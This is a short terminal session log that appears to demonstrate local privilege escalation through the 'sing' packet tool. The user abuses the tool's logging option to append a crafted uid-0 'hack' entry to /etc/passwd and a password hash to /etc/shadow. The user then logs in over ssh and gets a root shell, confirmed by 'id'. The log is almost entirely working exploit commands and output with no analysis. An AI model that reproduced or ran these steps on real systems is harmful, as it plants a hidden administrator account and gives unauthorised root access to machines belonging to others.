gat3way@gat3way:~$ cat hah hack:x:0:0:/tmp:/bin/sh n gat3way@gat3way:~$ cat hah1 hack:$1$of1h/mN2$p5i.rW0mnhryrG3.zAMIh/:13705:0:99999:7::: n gat3way@gat3way:~$ grep hack /etc/passwd gat3way@gat3way:~$ sing -L /etc/shadow localhost -p "`cat hah1`" SINGing to localhost (127.0.0.1): 78 data bytes 78 bytes from 127.0.0.1: seq=0 ttl=64 TOS=0 time=0.073 ms --- localhost sing statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.073/0.073/0.073 ms gat3way@gat3way:~$ sing -L /etc/passwd localhost -p "`cat hah`" SINGing to localhost (127.0.0.1): 43 data bytes 43 bytes from 127.0.0.1: seq=0 ttl=64 TOS=0 time=0.083 ms --- localhost sing statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.083/0.083/0.083 ms gat3way@gat3way:~$ grep hack /etc/passwd hack:x:0:0:/tmp:/bin/sh gat3way@gat3way:~$ ssh hack@localhost hack@localhost's password: .. root@gat3way:~# id uid=0(root) gid=0(root) groups=0(root) root@gat3way:~#